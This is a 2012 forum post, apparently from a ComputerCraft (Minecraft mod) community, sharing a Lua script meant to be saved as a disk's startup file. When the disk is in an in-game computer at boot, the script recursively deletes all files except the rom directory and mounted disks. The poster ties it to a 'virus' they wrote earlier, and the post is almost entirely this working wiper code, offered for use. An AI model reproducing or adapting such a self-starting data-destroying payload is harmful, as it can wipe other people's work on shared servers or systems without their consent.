Posted 04 April 2012 - 11:03 AM
So, after making that dreaded virus, I decided it would be best to make a program which can completely nuke all the files on a system w/o harming the other disks or attempting to wipe the /rom directory.
Save this thing as /disk/startup, and make plenty of backups just in case you stick it in a running computer.
NOTE: This WILL wipe everything on the computer you run it on.
CODE:
Save this thing as /disk/startup, and make plenty of backups just in case you stick it in a running computer.
NOTE: This WILL wipe everything on the computer you run it on.
CODE:
Spoiler
local ignoredirs = {"rom"}
local i,dir
for i,dir in pairs(redstone.getSides()) do
if disk.isPresent(dir) then
ignoredirs[#ignoredirs+1] = disk.getMountPath(dir)
end
end
local v
for i,v in pairs(ignoredirs) do
print("IGN:".."["..v.."]")
end
local function ignore_me(p)
local i,v
for i,v in pairs(ignoredirs) do
if p == v then
return true
end
end
return false
end
local function nuke(p)
local i,v
print("["..p.."]")
if ignore_me(p) then
return
end
if fs.isDir(p) then
for i,v in pairs(fs.list(p)) do
pcall(nuke, fs.combine(p,v))
end
end
local x,y
x,y = pcall(fs.delete, p)
if not x then
print("err:"..y)
end
end
nuke("")